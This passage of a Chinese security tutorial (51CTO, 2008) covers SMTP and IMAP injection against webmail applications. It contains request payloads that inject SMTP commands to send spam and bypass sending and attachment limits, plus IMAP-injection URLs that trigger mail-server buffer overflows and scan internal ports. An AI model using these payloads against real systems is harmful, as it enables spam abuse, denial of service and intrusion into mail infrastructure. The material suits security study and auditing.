如何利用注射技术攻击邮件服务器(3)
来源:51CTO 发布时间:2008-08-12 11:29:00
(六)垃圾邮件
采用的技术:SMTP注射
用户认证要求:有
这里介绍的情形跟前面的转发攻击一样。因为攻击者的目标是尽量绕开各种限制,例如,一个用户允许发送的电子邮件数量的上限,所以攻击者向有弱点的参数中注入攻击者想要发送的电子邮件数量所需的命令。通过向web服务器发送一个像下面那样的POST请求,攻击者就能完成许多动作。下面举例说明攻击者如何只用一个简单命令来发送三个电子邮件:
POST http:///compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SPAM Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
-----------------------------134475172700422922879687252
...
这将引发下列SMTP命令序列:
MAIL FROM:
RCPT TO:
DATA
Subject: SPAM Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
PAM test
.
...
(七)绕过各种限制
采用的技术:SMTP注射
用户认证要求:有
这里跟前面的转发和垃圾邮件的情形相一致。在此种情况下,通过注入SMTP命令可以绕过施加在应用程序级别上的各种限制。下面通过一些实例加以说明。
绕过允许发送的电子邮件最大数量的限制
假定一个webmail应用程序只允许发送特定数量的电子邮件,也就是对发送次数有所限制。在SMTP注射的帮助下,我们可以轻松地绕过该限制,方法很简单,只要添加跟攻击者想要发送的目的地址一样多的RCPT命令即可:
POST http:///compose.php HTTP/1.1
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
Data
Test
.
-----------------------------134475172700422922879687252
...
这将导致向邮件服务器发送下列SMTP命令:
MAIL FROM:
RCPT TO:
DATA
Subject: Test
.
MAIL FROM: external@domain.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
DATA
Test . ...
绕过电子邮件附件的最大值
假定一个webmail应用程序限制了一个电子邮件所带附件的数量,那么我们就可以通过注射SMTP命令来绕过此限制。下面是一个例子,这里通过有弱点的参数“subject”来附加三个文本文件:
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: user1@domain1.com RCPT TO: user2@domain2.com DATA
Content-Type: multipart/mixed; boundary=1234567
--1234567
Content-type: text/plainContent-Disposition: attachment; filename=1.txt
Example 1
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3
--1234567--
.
-----------------------------134475172700422922879687252
...
这将导致再次向邮件服务器发送以下SMTP命令:
MAIL FROM:
RCPT TO:
DATA
Subject: Test
.
MAIL FROM: user1@domain1.com
RCPT TO: user2@domain2.com
DATA
Content-Type: multipart/mixed; boundary=1234567
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=1.txt
Example 1
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3
--1234567--
.
...
通过利用所有这些技巧,攻击者想发送多少电子邮件就能发多少,想带多少附件就带多少。
(八)协议弱点的利用
如果能够在邮件服务器中执行任意命令的话,那么攻击者就能通过向该服务器发送某个命令来利用现有的漏洞。现在举例说明:
针对邮件服务器的DoS攻击
例如MailMax的版本5中的缓冲区溢出,如果在参数SELECT中使用长达256字符的邮箱名称的话,就会导致在邮件服务器中弹出一则消息:“Buffer overrun detected ! -Program :\IMAPMax.exe ”。这时,服务器会停止,并且必须手动重新启动。
假如webmail的前台页面中的参数“mailbox”具有IMAP注射缺陷的话,可以用下列方式利用这个缺陷(这要求用户是经过认证的):
http:///src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT "aa...[256]...aa"
在邮件服务器中执行任意代码
另一种可利用的例子是IMAP服务器MailEnable。它在命令STATUS中有一个缓冲区溢出漏洞,这使得可以在IMAP服务器中执行任意代码。假如我们发现了一个可以对其“mailbox”参数进行IMAP注射的webmail应用程序,那么我们就可以利用用下列方式来进行利用(这要求用户已经过认证):
http:///src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)%0d%0a
扫描内部系统的端口
IMAP服务器UW-IMAP允许任何人利用SELECT命令扫描系统端口,该命令具体形式是:
SELECT " {ip:port} "
下面我们通过一个具体例子来介绍如何利用1.4.2版的SquirrelMail对这个弱点进行利用,我们这里假设参数“mailbox”具有IMAP注射漏洞(这个特殊的弱点要求用户是已经登录的):
1.请求在系统192.168.0.1中一个打开的端口
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}
这会生成下来消息:
ERROR : Connection dropped by imap-server.
Query: SELECT "{192.168.0.1:80}"
2.请求在系统192.168.0.1中已经关闭的端口(21)
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}
上面的请求的应答显示了这样一则消息:
ERROR : Could not complete request.
Query: SELECT "{192.168.0.1:21}"
Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused
一个存心不良的用户可以从这两个IMAP服务器的应答的差别中推断出所请求的端口的状态。
总之,由于邮件服务器注射技术使得邮件服务器对于攻击者或者渗透测试人员来说成为可见的,所以能够利用常规情况下无法利用的漏洞。从web应用程序安全审计员角度来看,发现和利用这些漏洞的能力是一件难得的利器。
(九)IMAP和SMTP注射之间的比较
下面对IMAP和SMTP注射之间进行一些比较,以便读者更好地了解他们之间的区别。
首先,在是否要求认证方面,IMAP注射不要求事先经过认证;但是SMTP注射却要求经过认证。
其次,在攻击类型方面,IMAP注射可以发动以下类型的攻击:
◆信息泄漏
◆IMAP协议的利用
◆绕过CAPTCHA
◆SMTP注射可以发动以下类型的攻击:
◆信息泄漏
◆SMTP协议的利用
◆转发/垃圾邮件
◆绕过各种限制
猜你喜欢
- 谈网络媒体必定会反应到门户网站和针对性较强的小门户网站,媒体的效益产生于内容和舆论口碑等。而产生内容就需要来源,那么内容来自那里呢?新闻和博
- 第一个问题:链接看起来和普通文本一样,是否是属于隐藏链接?几乎所有seo人员的博客上都有大量链接,给出某个链接很可能因为文章中确实涉及到关于
- Exchange 2000 Server中的Recipient Policies是一项重要的功能,它制定了收件人的邮箱地址,其中包括:X.4
- 解决网站收录问题是SEO的主要任务之一,我每天观察20多个站的收录情况,有些小小心得,下面和大家分享,特别针对百度收录。网站让百度收录有3道
- 记者:您作为Google主管产品和用户体验的副总裁,怎么看待未来搜索技术的趋势? 玛丽萨.迈尔:我认为未来搜索技术的趋势主要有六个方面:一是
- 客户购买虚拟主机或服务时,以下流程切记!我也不是说个人服务器不好,只是提醒一下大家。一、购买网络产品时,服务商一定得有营业执照,这是前提,他
- ProFTPD是一个Unix平台上或是类Unix平台上(如Linux,FreeBSD等)的FTP服务器程序,它是在自由软件基金会的版权声明(
- 现在搜索引擎越来越重视网站的质量了,对于一些小网站的惩罚更是毫不手软,很多站长都被搜索引擎惩罚过,也有一部分网站经过改善后又重新被收录,并且
- 据国外媒体报道,谷歌日本公司宣布,将从今日起把“街景”检索服务的对象区域扩大至新潟、冈山、广岛、福冈和熊本县的部分地区。谷歌于08年8月以东
- 在上周的SharePoint大会上微软首席执行官Steven Ballmer曾宣布,SharePoint Server 2010和Offic
- 古往今来,神话一直都是华夏灿烂文化的瑰宝,给人们的外在世界缔造了一个美丽的梦。今天,game2平台斥资1500万,打造耗时3年,再现上古的不
- 1.PV是衡量一个网站价值的重要参数,在相同的IP下,PV越高也就证明网站价值越大。2.另外一个方面来说,网站的广告点击率在 2--8%之间
- 伴随着UCenter Home(简称UCHome)1.5的发布,国内越来越多垂直细分的社交网站采用UCHome搭建。同时,Manyou开放平
- 做SEO的人都知道链接在SEO中的重要性,我原来也写过关于正确使用链接认识链接的一些文章,但现在仍然还是存在者各式各样的垃圾链接形式。今天这
- 如果你能写好和维持准确的元标记(例如,描述性标题和为搜索机器人提供的信息),Google就可以更准确地爬行、索引并在搜索结果中显
- 学过SEO的大家都知道,在用户搜索的页面中,标签和标题是其中最重要的两个因素,同时也是效果持续时间最长的SEO元素。当然你也要解决一些基本的
- 有很多发布商写信来问怎样才算鼓励点击,还有一些发布商在接到我们的违反政策警告的时候甚至并不认为自己在鼓励点击,现在我们就来说说“鼓励点击”。
- ISAPI是Internet Server Application Programming Interface 的简称,ISAPI过滤器是I
- 这些天为了图床的事情弄得焦头烂额!后来在网上搜了一圈,发现其实可以自己搭建图床,这样就没有必要仰人鼻息了!我才想起我在godaddy注册了那
- 第十七届万维网大会(WWW2008)结束招待晚宴在北京人民大会堂举行,昨晚,来自全球的互联网界精英悉数出席。百度总裁李彦宏在晚宴中致辞,并在